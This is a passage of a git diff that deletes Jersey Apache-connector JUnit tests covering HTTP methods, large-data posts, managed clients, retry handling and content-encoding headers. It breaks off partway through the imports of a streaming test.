-        assertFalse(cr.hasEntity());
-    }
-
-    @Test
-    public void testOptions() {
-        WebTarget r = getWebTarget();
-        Response cr = r.request().options();
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testOptionsWithEntity() {
-        WebTarget r = getWebTarget();
-        Response response = r.request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
-        assertEquals(200, response.getStatus());
-        response.close();
-    }
-
-    @Test
-    public void testGet() {
-        WebTarget r = getWebTarget();
-        assertEquals("GET", r.request().get(String.class));
-
-        Response cr = r.request().get();
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = getWebTarget();
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        ClientConfig cc = new ClientConfig()
-                .property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024)
-                .connectorProvider(new ApacheConnectorProvider());
-        Client client = ClientBuilder.newClient(cc);
-        WebTarget r = getWebTarget(client);
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostVoid() {
-        WebTarget r = getWebTarget(createPoolingClient());
-
-        for (int i = 0; i < 100; i++) {
-            r.request().post(Entity.text("POST"));
-        }
-    }
-
-    @Test
-    public void testPostNoProduce() {
-        WebTarget r = getWebTarget();
-        assertEquals(204, r.path("noproduce").request().post(Entity.text("POST")).getStatus());
-
-        Response cr = r.path("noproduce").request().post(Entity.text("POST"));
-        assertFalse(cr.hasEntity());
-        cr.close();
-    }
-
-
-    @Test
-    public void testPostNoConsumeProduce() {
-        WebTarget r = getWebTarget();
-        assertEquals(204, r.path("noconsumeproduce").request().post(null).getStatus());
-
-        Response cr = r.path("noconsumeproduce").request().post(Entity.text("POST"));
-        assertFalse(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPut() {
-        WebTarget r = getWebTarget();
-        assertEquals("PUT", r.request().put(Entity.text("PUT"), String.class));
-
-        Response cr = r.request().put(Entity.text("PUT"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testDelete() {
-        WebTarget r = getWebTarget();
-        assertEquals("DELETE", r.request().delete(String.class));
-
-        Response cr = r.request().delete();
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPatch() {
-        WebTarget r = getWebTarget();
-        assertEquals("PATCH", r.request().method("PATCH", Entity.text("PATCH"), String.class));
-
-        Response cr = r.request().method("PATCH", Entity.text("PATCH"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testAll() {
-        WebTarget r = getWebTarget();
-
-        assertEquals("GET", r.request().get(String.class));
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-
-        assertEquals(204, r.path("noproduce").request().post(Entity.text("POST")).getStatus());
-
-        assertEquals(204, r.path("noconsumeproduce").request().post(null).getStatus());
-
-        assertEquals("PUT", r.request().post(Entity.text("PUT"), String.class));
-
-        assertEquals("DELETE", r.request().delete(String.class));
-    }
-
-
-    @Path("/error")
-    public static class ErrorResource {
-        @POST
-        public Response post(String entity) {
-            return Response.serverError().build();
-        }
-
-        @Path("entity")
-        @POST
-        public Response postWithEntity(String entity) {
-            return Response.serverError().entity("error").build();
-        }
-    }
-
-    @Test
-    public void testPostError() {
-        WebTarget r = createClient().target(getBaseUri()).path("error");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                final Response post = r.request().post(Entity.text("POST"));
-                post.close();
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntity() {
-        WebTarget r = createPoolingClient().target(getBaseUri()).path("error/entity");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpMethodWithClientFilterTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpMethodWithClientFilterTest.java
deleted file mode 100644
index 87da09e..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/HttpMethodWithClientFilterTest.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class HttpMethodWithClientFilterTest extends HttpMethodTest {
-
-    @Override
-    protected Client createClient() {
-        ClientConfig cc = new ClientConfig()
-                .register(LoggingFeature.class)
-                .connectorProvider(new ApacheConnectorProvider());
-        return ClientBuilder.newClient(cc);
-    }
-
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/LargeDataTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/LargeDataTest.java
deleted file mode 100644
index e313b61..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/LargeDataTest.java
+++ /dev/null
@@ -1,156 +0,0 @@
-/*
- * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ServerErrorException;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.Response.Status;
-import jakarta.ws.rs.core.StreamingOutput;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-/**
- * The LargeDataTest reproduces a problem when bytes of large data sent are incorrectly sent.
- * As a result, the request body is different than what was sent by the client.
- * <p>
- * In order to be able to inspect the request body, the generated data is a sequence of numbers
- * delimited with new lines. Such as
- * <pre><code>
- *     1
- *     2
- *     3
- *
- *     ...
- *
- *     57234
- *     57235
- *     57236
- *
- *     ...
- * </code></pre>
- * It is also possible to send the data to netcat: {@code nc -l 8080} and verify the problem is
- * on the client side.
- *
- * @author Stepan Vavra
- * @author Marek Potociar
- */
-public class LargeDataTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(LargeDataTest.class.getName());
-    private static final int LONG_DATA_SIZE = 1_000_000;  // for large set around 5GB, try e.g.: 536_870_912;
-    private static volatile Throwable exception;
-
-    private static StreamingOutput longData(long sequence) {
-        return out -> {
-            long offset = 0;
-            while (offset < sequence) {
-                out.write(Long.toString(offset).getBytes());
-                out.write('\n');
-                offset++;
-            }
-        };
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void postWithLargeData() throws Throwable {
-        WebTarget webTarget = target("test");
-
-        Response response = webTarget.request().post(Entity.entity(longData(LONG_DATA_SIZE), MediaType.TEXT_PLAIN_TYPE));
-
-        try {
-            if (exception != null) {
-
-                // the reason to throw the exception is that IntelliJ gives you an option to compare the expected with the actual
-                throw exception;
-            }
-
-            Assertions.assertEquals(Status.Family.SUCCESSFUL, response.getStatusInfo().getFamily(),
-                    "Unexpected error: " + response.getStatus());
-        } finally {
-            response.close();
-        }
-    }
-
-    @Path("/test")
-    public static class HttpMethodResource {
-
-        @POST
-        public Response post(InputStream content) {
-            try {
-
-                longData(LONG_DATA_SIZE).write(new OutputStream() {
-
-                    private long position = 0;
-//                    private long mbRead = 0;
-
-                    @Override
-                    public void write(final int generated) throws IOException {
-                        int received = content.read();
-
-                        if (received != generated) {
-                            throw new IOException("Bytes don't match at position " + position
-                                    + ": received=" + received
-                                    + ", generated=" + generated);
-                        }
-
-                        position++;
-//                        if (position % (1024 * 1024) == 0) {
-//                            mbRead++;
-//                            System.out.println("MB read: " + mbRead);
-//                        }
-                    }
-                });
-            } catch (IOException e) {
-                exception = e;
-                throw new ServerErrorException(e.getMessage(), 500, e);
-            }
-
-            return Response.ok().build();
-        }
-
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/ManagedClientTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/ManagedClientTest.java
deleted file mode 100644
index 63b80cc..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/ManagedClientTest.java
+++ /dev/null
@@ -1,269 +0,0 @@
-/*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.io.IOException;
-import java.lang.annotation.Documented;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.DynamicFeature;
-import jakarta.ws.rs.container.ResourceInfo;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.FeatureContext;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ClientBinding;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.Uri;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Jersey programmatic managed client test
- *
- * @author Marek Potociar
- */
-public class ManagedClientTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
-
-    /**
-     * Managed client configuration for client A.
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    @ClientBinding(configClass = MyClientAConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public static @interface ClientA {
-    }
-
-    /**
-     * Managed client configuration for client B.
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    @ClientBinding(configClass = MyClientBConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public @interface ClientB {
-    }
-
-    /**
-     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
-     * to every method that is annotated with {@link Require &#64;Require} internal feature
-     * annotation.
-     *
-     * @author Marek Potociar
-     */
-    public static class CustomHeaderFeature implements DynamicFeature {
-
-        /**
-         * A method annotation to be placed on those resource methods to which a validating
-         * {@link CustomHeaderFilter} instance should be added.
-         */
-        @Retention(RetentionPolicy.RUNTIME)
-        @Documented
-        @Target(ElementType.METHOD)
-        public static @interface Require {
-
-            /**
-             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerName();
-
-            /**
-             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerValue();
-        }
-
-        @Override
-        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
-            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
-            if (va != null) {
-                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
-            }
-        }
-    }
-
-    /**
-     * A filter for appending and validating custom headers.
-     * <p>
-     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
-     * </p>
-     * <p>
-     * On the server side, validates that each request has a custom header with a configured name and value.
-     * If the validation fails a HTTP 403 response is returned.
-     * </p>
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
-
-        private final String headerName;
-        private final String headerValue;
-
-        public CustomHeaderFilter(String headerName, String headerValue) {
-            if (headerName == null || headerValue == null) {
-                throw new IllegalArgumentException("Header name and value must not be null.");
-            }
-            this.headerName = headerName;
-            this.headerValue = headerValue;
-        }
-
-        @Override
-        public void filter(ContainerRequestContext ctx) throws IOException { // validate
-            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
-                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
-                        .type(MediaType.TEXT_PLAIN)
-                        .entity(String
-                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
-                        .build());
-            }
-        }
-
-        @Override
-        public void filter(ClientRequestContext ctx) throws IOException { // append
-            ctx.getHeaders().putSingle(headerName, headerValue);
-        }
-    }
-
-    /**
-     * Internal resource accessed from the managed client resource.
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    @Path("internal")
-    public static class InternalResource {
-
-        @GET
-        @Path("a")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
-        public String getA() {
-            return "a";
-        }
-
-        @GET
-        @Path("b")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
-        public String getB() {
-            return "b";
-        }
-    }
-
-    /**
-     * A resource that uses managed clients to retrieve values of internal
-     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
-     * and require a specific custom header in a request to be set to a specific value.
-     * <p>
-     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
-     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
-     * with a proper value into the outgoing client requests.
-     * </p>
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    @Path("public")
-    public static class PublicResource {
-
-        @Uri("a")
-        @ClientA // resolves to <base>/internal/a
-        private WebTarget targetA;
-
-        @GET
-        @Produces("text/plain")
-        @Path("a")
-        public String getTargetA() {
-            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("b")
-        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
-            return targetB.request(MediaType.TEXT_PLAIN).get();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
-                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    public static class MyClientAConfig extends ClientConfig {
-
-        public MyClientAConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "a"));
-        }
-    }
-
-    public static class MyClientBConfig extends ClientConfig {
-
-        public MyClientBConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "b"));
-        }
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    /**
-     * Test that a connection via managed clients works properly.
-     *
-     * @throws Exception in case of test failure.
-     */
-    @Test
-    public void testManagedClient() throws Exception {
-        final WebTarget resource = target().path("public").path("{name}");
-        Response response;
-
-        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("a", response.readEntity(String.class));
-
-        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("b", response.readEntity(String.class));
-    }
-
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/NoEntityTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/NoEntityTest.java
deleted file mode 100644
index 3a77d34..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/NoEntityTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.Response.Status;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class NoEntityTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public Response get() {
-            return Response.status(Status.CONFLICT).build();
-        }
-
-        @POST
-        public void post(String entity) {
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testGetWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-        }
-    }
-
-    @Test
-    public void testPostWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-            cr.close();
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/RetryHandlerTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/RetryHandlerTest.java
deleted file mode 100644
index fb07328..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/RetryHandlerTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.io.IOException;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.RequestEntityProcessing;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.apache.http.client.HttpRequestRetryHandler;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class RetryHandlerTest extends JerseyTest {
-    private static final int READ_TIMEOUT_MS = 100;
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(RetryHandlerResource.class);
-    }
-
-    @Path("/")
-    public static class RetryHandlerResource {
-        private static volatile int postRequestNumber = 0;
-        private static volatile int getRequestNumber = 0;
-
-        // Cause a timeout on the first GET and POST request
-        @GET
-        public String get(@Context HttpHeaders h) {
-            if (getRequestNumber++ == 0) {
-                try {
-                    Thread.sleep(READ_TIMEOUT_MS * 10);
-                } catch (InterruptedException ex) {
-                    // ignore
-                }
-            }
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            if (postRequestNumber++ == 0) {
-                try {
-                    Thread.sleep(READ_TIMEOUT_MS * 10);
-                } catch (InterruptedException ex) {
-                    // ignore
-                }
-            }
-            return "POST";
-        }
-    }
-
-    @Test
-    public void testRetryGet() throws IOException {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.RETRY_HANDLER,
-                (HttpRequestRetryHandler) (exception, executionCount, context) -> true);
-        cc.property(ClientProperties.READ_TIMEOUT, READ_TIMEOUT_MS);
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testRetryPost() throws IOException {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.RETRY_HANDLER,
-                (HttpRequestRetryHandler) (exception, executionCount, context) -> true);
-        cc.property(ClientProperties.READ_TIMEOUT, READ_TIMEOUT_MS);
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-        assertEquals("POST", r.request()
-                              .property(ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.BUFFERED)
-                              .post(Entity.text("POST"), String.class));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/SpecialHeaderTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/SpecialHeaderTest.java
deleted file mode 100644
index 5bf884d..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/SpecialHeaderTest.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Disabled;
-import org.junit.jupiter.api.Test;
-
-/**
- *
- * @author Miroslav Fuksa
- */
-public class SpecialHeaderTest extends JerseyTest {
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(MyResource.class, GZipEncoder.class, LoggingFeature.class);
-    }
-
-    @Path("resource")
-    public static class MyResource {
-        @GET
-        @Produces("text/plain")
-        @Path("encoded")
-        public Response getEncoded() {
-            return Response.ok("get").header(HttpHeaders.CONTENT_ENCODING, "gzip").build();
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("non-encoded")
-        public Response getNormal() {
-            return Response.ok("get").build();
-        }
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-
-    @Test
-    @Disabled("Apache connector does not provide information about encoding for gzip and deflate encoding")
-    public void testEncoded() {
-        final Response response = target().path("resource/encoded").request("text/plain").get();
-        Assertions.assertEquals(200, response.getStatus());
-        Assertions.assertEquals("get", response.readEntity(String.class));
-        Assertions.assertEquals("gzip", response.getHeaderString(HttpHeaders.CONTENT_ENCODING));
-        Assertions.assertEquals("text/plain", response.getHeaderString(HttpHeaders.CONTENT_TYPE));
-        Assertions.assertEquals(3, response.getHeaderString(HttpHeaders.CONTENT_LENGTH));
-    }
-
-    @Test
-    public void testNonEncoded() {
-        final Response response = target().path("resource/non-encoded").request("text/plain").get();
-        Assertions.assertEquals(200, response.getStatus());
-        Assertions.assertEquals("get", response.readEntity(String.class));
-        Assertions.assertNull(response.getHeaderString(HttpHeaders.CONTENT_ENCODING));
-        Assertions.assertEquals("text/plain", response.getHeaderString(HttpHeaders.CONTENT_TYPE));
-        Assertions.assertEquals("3", response.getHeaderString(HttpHeaders.CONTENT_LENGTH));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/StreamingTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/StreamingTest.java
deleted file mode 100644
index 45302f7..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/test/StreamingTest.java
+++ /dev/null
@@ -1,171 +0,0 @@
-/*
- * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector.test;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
